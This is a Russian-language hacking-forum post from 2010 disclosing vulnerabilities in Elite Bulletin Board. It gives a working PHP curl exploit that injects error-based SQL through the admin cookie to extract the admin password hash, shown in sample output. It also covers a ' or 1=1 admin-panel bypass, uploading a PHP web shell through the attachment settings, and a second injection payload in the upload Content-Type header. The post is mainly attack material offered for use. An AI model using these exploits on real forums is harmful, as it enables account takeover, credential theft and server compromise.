Форумы Уязвимости Elite Bulletin Board

Discussion in 'Уязвимости CMS/форумов' started by m0Hze, 18 Jun 2010.

  1. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    [Обзор уязвимостей Elite Bulletin Board]

    Site: http://elite-board.us/Community/

    Обход авторизации в Админ Панель + Blind SQL-Inj

    [Need: mq=off]

    Уязвимость позволяет зайти в админ панель,и произвольно изменять настройки форума.

    File: /acp/*.php
    PHP:
    if (($access_level == 2) or ($stat == "Member") or ($stat == "guest") or ($access_level == 3)){
        
        
    header("Location: $board_address/index.php");
    }
    ...
    if (isset(
    $_COOKIE['ebbacpu']) and (isset($_COOKIE['ebbacpp']))){
        
        
    #see if cookie value belongs to a user on the roster.
        
    $chk_user user_check($_COOKIE['ebbacpu'], $_COOKIE['ebbacpp']);
        
    $admin_check admin_verify($_COOKIE['ebbacpu'], $_COOKIE['ebbacpp']);
            if((
    $chk_user == 0) or ($admin_check == false)){
            
    $error "INVALID COOKIE OR SESSION!";
            echo 
    acp_error($error"error");  
            }
    }else{
        
    #go to login page.
        
    header("Location: acp_login.php"); 
    }

    PHP:
    function user_check($user$pass){

        global 
    $db$txt;

        if ((empty(
    $user)) and (empty($pass))){
            die(
    $txt['invalidprofile']);
        }else{
            
    $db->run "SELECT id FROM ebb_users WHERE Username='$user' and Password='$pass'";
            
    $chk_user $db->num_results();
            
    $db->close();
        }
        return (
    $chk_user);
    }
    Автор форума, забыл поставить Die(); после перенаправлений, что дает нам шанс выполнить SQL-inj и что-нибудь вытащить или обойти авторизацию и войти в админ-панель, и изменять там что хотим. Я приведу пример с выводом информации, через эту sql-inj, крутить будем как слепую. Простейший сплойт выглядит так:
    PHP:
    <?php
    $exploit 
    'or+(select+*+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)r+group+by+concat((select+concat_ws(0x3a,username,password)+from+ebb_users+where+id=1),floor(rand(0)*2)))u)--+';
    $cookie 'ebbacpu=1\''.$exploit.'+or+1=1+--+;ebbacpp=1';
    echo 
    curl('http://localhost/bugs/ebbv2/acp/',$cookie);
    function 
    curl($url$cookie false)
    {
        
    $ch curl_init(); // инициализируем Curl
        
    curl_setopt($chCURLOPT_URL$url); // открываемая страница
        
    curl_setopt($chCURLOPT_TIMEOUT20);
        
    curl_setopt($chCURLOPT_HEADER0);
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1); // вернуть ответ сервера в переменную, а не выводить

        // Работа через прокси
        
    if ($cookie) {
            
    curl_setopt($chCURLOPT_COOKIE$cookie);
        }
        
    $page curl_exec($ch);
        
    curl_close($ch);
        return (
    $page);
    }
    ?>
    Чуть выше сообщения об ошибке увидим:
    Code:
    Failed to query the database
    Duplicate entry '[B]admin:16303208725e5fcc2ae273ba3e7679ef[/B]1' for key 'group_key'
    
    Line: 29
    File: D:\xampp\htdocs\bugs\ebbv2\includes\db.php
    
    Тут все осложняется тем, что чтобы сбрутить пароль админу, нужно знать соль, которая вшита в config.php в виде константы, которая принимает рандомное значение во время установки форума.
    Но брутить соль не обязательно, в админку можно зайти с помощью той же скули. Просто сменим тактику.
    (!) Можно и без скули, читаем ниже.
    PHP:
    $exploit ' or 1=1--+';
    [UPADATE]

    Совсем забыл откомментировать, что в админку так же можно попасть, просто не передавай кукисы. Придется обойти хидеры, принудительно их отключив в браузере или же скриптом. И после захода на страницы админки, мы будем видеть то же, что бы мы увидели при заходе админским акком.
    [/UPADATE]

    И уже строя разнообразные post-запросы, мы сможем получать-изменять данные из админки, как если бы мы просто зашли в нее по логин-паролю.

    Загрузка Шелла

    В амдинке идем в Setting Menu-> Attachment Setting
    Вбиваем расширение "php", надимаем Add extinsion.
    Создаем пост, и прикрепляем к нему наш файл. Файл будет в upload/shellname.php никаких htaccess'ов там нет.

    SQL-INJ

    [Need: account,mq=off]

    File: /upload.php
    PHP:
    $file_name $_FILES['attachment']['name'];
            
    $file_type $_FILES['attachment']['type'];
            
    $file_size $_FILES['attachment']['size'];
            
    $file_temp $_FILES['attachment']['tmp_name'];
            
    $file_ext strtolower(substr(strrchr($file_name"."), 1));
    ...
    if(
    move_uploaded_file($file_temp$uploadpath)) {
                        
    #add attachment to db for listing purpose.
                        
    $db->run "insert into ebb_attachments (Username, Filename, File_Type, File_Size) values ('$logged_user', '$file_name', '$file_type', '$file_size')";
                        
    $db->query();
                        
    $db->close();
                        
    #go back to orginsl location.
                              
    header ("Location: upload.php?bid=$bid");
    Target: Крутим как слепую
    Code:
    Target: http://host/upload.php?mode=upload
    Content-Disposition: form-data; name="file"; filename=""\r\n
    Content-Type: application/octet-stream'or+(select+*+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)r+group+by+concat((select+concat_ws(0x3a,username,password)+from+ebb_users+where+id=1),floor(rand(0)*2)))u)--+\r\n
    
     
    #1 m0Hze, 18 Jun 2010
    Last edited: 30 Jun 2010
    6 people like this.